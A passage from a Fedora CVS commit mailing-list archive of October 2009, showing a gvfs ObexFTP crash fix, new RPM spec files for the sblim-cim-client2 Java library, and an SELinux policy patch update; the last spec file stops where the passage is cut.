 1 file changed, 1 insertion(+)

--- NEW FILE obex-crasher.patch ---
commit 59a657175301c5b99bce0ce9a53b14efc202eb8e
Author: Bastien Nocera <hadess at hadess.net>
Date:   Wed Oct 14 14:27:43 2009 +0100

    Fix crasher in obexftp backend
    
    Spotted by Matthias Clasen
    
    See https://bugzilla.redhat.com/show_bug.cgi?id=528181

diff --git a/daemon/gvfsbackendobexftp.c b/daemon/gvfsbackendobexftp.c
index e658b16..84969db 100644
--- a/daemon/gvfsbackendobexftp.c
+++ b/daemon/gvfsbackendobexftp.c
@@ -1816,6 +1816,7 @@ do_push (GVfsBackend *backend,
       push_data_free (job_data);
 
       g_vfs_job_failed_from_error (G_VFS_JOB (job), error);
+      return;
     }
 
   push_data_free (job_data);


Index: gvfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gvfs/F-11/gvfs.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- gvfs.spec	19 Aug 2009 15:08:47 -0000	1.143
+++ gvfs.spec	14 Oct 2009 13:45:43 -0000	1.144
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.2.3
-Release: 12%{?dist}
+Release: 13%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -46,6 +46,8 @@ Patch6: gvfs-1.3.4-smb-browse-fake-conte
 # nautilus can't create "unamed folder X" if it exist on the target via sftp
 # https://bugzilla.redhat.com/show_bug.cgi?id=512611
 Patch8: gvfs-1.3.5-mkdir-exists-error.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=528181
+Patch9: obex-crasher.patch
 
 # Gdu volume monitor patches, from http://cgit.freedesktop.org/~david/gvfs/log/?h=gdu-volume-monitor
 #
@@ -192,6 +194,7 @@ media players (Media Transfer Protocol) 
 %patch5 -p1 -b .sftp-timeout
 %patch6 -p1 -b .smb-fake-content-type
 %patch8 -p1 -b .sftp-mkdir
+%patch9 -p1 -b .push-fail
 
 %patch101 -p1 -b .gdu-volume-monitor
 %patch102 -p1 -b .gdu-volumes-typo
@@ -361,6 +364,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %changelog
+* Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.2.3-13
+- Fix ObexFTP push crasher (#528181)
+
 * Wed Aug 19 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.2.3-12
 - Fix remaining mount prefix issues (#509612)
 



From vcrhonek at fedoraproject.org  Wed Oct 14 13:47:20 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed, 14 Oct 2009 13:47:20 +0000 (UTC)
Subject: rpms/sblim-cim-client2/F-10 sblim-cim-client2.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091014134720.2F27411C00E5@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15091

Modified Files:
	sources 
Added Files:
	sblim-cim-client2.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client2.spec ---

%define project_folder %{name}-%{version}-src
%define archive_folder build

Name:           sblim-cim-client2
Version:        2.0.9.2
Release:        1%{?dist}
Summary:        Java CIM Client library

Group:          Development/Libraries
License:        EPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/sblim-cim-client2/2.0.9.2/%{name}-%{version}-src.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  ant >= 0:1.6

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description javadoc
Javadoc for %{name}.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description manual
Manual and sample code for %{name}.


%prep
%setup -q -n %{project_folder}

dos2unixConversion() {
        fileName=$1
        %{__sed} -i 's/\r//g' "$fileName"
}

dosFiles2unix() {
        fileList=$1
        for fileName in $fileList; do
                dos2unixConversion $fileName
        done
}

dosFiles2unix 'ChangeLog NEWS README COPYING sblim-cim-client2.properties sblim-slp-client2.properties'
dosFiles2unix 'smpl/org/sblim/slp/example/*'
dosFiles2unix 'smpl/org/sblim/cimclient/samples/*'

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version}\
        package java-doc


%install
rm -rf $RPM_BUILD_ROOT
# --- documentation ---
dstDocDir=$RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -d $dstDocDir
install --mode=644 ChangeLog COPYING README NEWS $dstDocDir
# --- samples (also into _docdir) ---
cp -pr  smpl/org $dstDocDir
# --- config files ---
confDir=$RPM_BUILD_ROOT%{_sysconfdir}/java
install -d $confDir
install --mode=664 sblim-cim-client2.properties sblim-slp-client2.properties $confDir
# --- jar ---
install -d $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder}/lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
# --- javadoc ---
install -d $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -pr %{archive_folder}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(0644,root,root,0755)
%dir %{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/java/sblim-cim-client2.properties
%config(noreplace) %{_sysconfdir}/java/sblim-slp-client2.properties
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
# %doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.9.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:57:26 -0000	1.1
+++ sources	14 Oct 2009 13:47:20 -0000	1.2
@@ -0,0 +1 @@
+bdde87b00844f3696caebc8594989ae7  sblim-cim-client2-2.0.9.2-src.zip



From dwalsh at fedoraproject.org  Wed Oct 14 14:00:47 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed, 14 Oct 2009 14:00:47 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch,1.107,1.108
Message-ID: <20091014140047.4C76111C0268@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17519

Modified Files:
	policy-F12.patch 
Log Message:
* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26
- Fix labeling for privoxy config files


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   68 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   92 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 351 files changed, 16510 insertions(+), 2630 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- policy-F12.patch	14 Oct 2009 13:29:12 -0000	1.107
+++ policy-F12.patch	14 Oct 2009 14:00:46 -0000	1.108
@@ -6882,7 +6882,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.te serefpolicy-3.6.32/policy/modules/kernel/filesystem.te
 --- nsaserefpolicy/policy/modules/kernel/filesystem.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.te	2009-10-13 11:34:04.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.te	2009-10-14 09:29:50.000000000 -0400
 @@ -93,7 +93,7 @@
  type hugetlbfs_t;
  fs_type(hugetlbfs_t)
@@ -6892,16 +6892,15 @@ diff -b -B --ignore-all-space --exclude-
  
  type ibmasmfs_t;
  fs_type(ibmasmfs_t)
-@@ -170,7 +170,7 @@
- # where we want to label objects with a derived type.
+@@ -171,6 +171,7 @@
  fs_use_trans mqueue gen_context(system_u:object_r:tmpfs_t,s0);
  fs_use_trans shm gen_context(system_u:object_r:tmpfs_t,s0);
--fs_use_trans tmpfs gen_context(system_u:object_r:tmpfs_t,s0);
+ fs_use_trans tmpfs gen_context(system_u:object_r:tmpfs_t,s0);
 +fs_use_trans devtmpfs gen_context(system_u:object_r:tmpfs_t,s0);
  
  allow tmpfs_t noxattrfs:filesystem associate;
  
-@@ -250,9 +250,13 @@
+@@ -250,9 +251,13 @@
  genfscon ncpfs / gen_context(system_u:object_r:nfs_t,s0)
  genfscon reiserfs / gen_context(system_u:object_r:nfs_t,s0)
  genfscon panfs / gen_context(system_u:object_r:nfs_t,s0)
@@ -13594,6 +13593,18 @@ diff -b -B --ignore-all-space --exclude-
  miscfiles_read_localization(memcached_t)
  
  sysnet_dns_name_resolve(memcached_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/milter.if serefpolicy-3.6.32/policy/modules/services/milter.if
+--- nsaserefpolicy/policy/modules/services/milter.if	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/milter.if	2009-10-14 09:54:10.000000000 -0400
+@@ -35,6 +35,8 @@
+ 	# Create other data files and directories in the data directory
+ 	manage_files_pattern($1_milter_t, $1_milter_data_t, $1_milter_data_t)
+ 
++	files_read_etc_files($1_milter_t)
++
+ 	miscfiles_read_localization($1_milter_t)
+ 
+ 	logging_send_syslog_msg($1_milter_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/mta.fc serefpolicy-3.6.32/policy/modules/services/mta.fc
 --- nsaserefpolicy/policy/modules/services/mta.fc	2009-07-29 15:15:33.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/mta.fc	2009-09-30 16:12:48.000000000 -0400



From vcrhonek at fedoraproject.org  Wed Oct 14 14:06:22 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed, 14 Oct 2009 14:06:22 +0000 (UTC)
Subject: rpms/sblim-cim-client2/EL-5 sblim-cim-client2.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091014140622.DD45711C00E5@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18936

Modified Files:
	sources 
Added Files:
	sblim-cim-client2.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client2.spec ---

%define project_folder %{name}-%{version}-src
%define archive_folder build

Name:           sblim-cim-client2
Version:        2.0.9.2
Release:        1%{?dist}
Summary:        Java CIM Client library

Group:          Development/Libraries
License:        EPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/sblim-cim-client2/2.0.9.2/%{name}-%{version}-src.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  ant >= 0:1.6

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description javadoc
Javadoc for %{name}.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description manual
Manual and sample code for %{name}.


%prep
%setup -q -n %{project_folder}

dos2unixConversion() {
        fileName=$1
        %{__sed} -i 's/\r//g' "$fileName"
}

dosFiles2unix() {
        fileList=$1
        for fileName in $fileList; do
                dos2unixConversion $fileName
        done
}

dosFiles2unix 'ChangeLog NEWS README COPYING sblim-cim-client2.properties sblim-slp-client2.properties'
dosFiles2unix 'smpl/org/sblim/slp/example/*'
dosFiles2unix 'smpl/org/sblim/cimclient/samples/*'

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version}\
        package java-doc


%install
rm -rf $RPM_BUILD_ROOT
# --- documentation ---
dstDocDir=$RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -d $dstDocDir
install --mode=644 ChangeLog COPYING README NEWS $dstDocDir
# --- samples (also into _docdir) ---
cp -pr  smpl/org $dstDocDir
# --- config files ---
confDir=$RPM_BUILD_ROOT%{_sysconfdir}/java
install -d $confDir
install --mode=664 sblim-cim-client2.properties sblim-slp-client2.properties $confDir
# --- jar ---
install -d $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder}/lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
# --- javadoc ---
install -d $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -pr %{archive_folder}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(0644,root,root,0755)
%dir %{_datadir}/doc/%{name}-%{version}
